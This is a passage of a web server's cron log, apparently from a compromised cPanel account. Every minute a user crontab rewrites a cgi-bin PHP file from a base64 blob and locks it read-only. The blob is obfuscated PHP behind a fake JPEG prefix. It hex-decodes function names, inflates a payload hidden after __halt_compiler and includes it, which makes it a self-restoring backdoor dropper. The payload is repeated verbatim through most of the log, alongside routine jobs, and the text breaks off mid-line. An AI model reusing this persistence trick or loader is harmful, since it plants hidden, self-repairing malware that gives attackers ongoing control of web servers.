Apr  7 00:30:01 server CROND[372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:30:01 server CROND[371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:30:01 server CROND[370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 00:31:01 server CROND[495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:32:01 server CROND[556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:33:01 server CROND[626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:34:01 server CROND[759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:35:01 server CROND[872]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 00:35:01 server CROND[874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:35:01 server CROND[875]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:35:01 server CROND[876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:35:01 server CROND[878]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 00:36:01 server CROND[1010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:37:01 server CROND[1087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:38:01 server CROND[1161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:39:01 server CROND[1260]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 00:39:01 server CROND[1259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:40:01 server CROND[1446]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:40:01 server CROND[1447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:40:01 server CROND[1448]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 00:40:01 server CROND[1449]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:41:01 server CROND[1575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:42:01 server CROND[1639]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 00:42:01 server CROND[1640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:43:01 server CROND[1710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0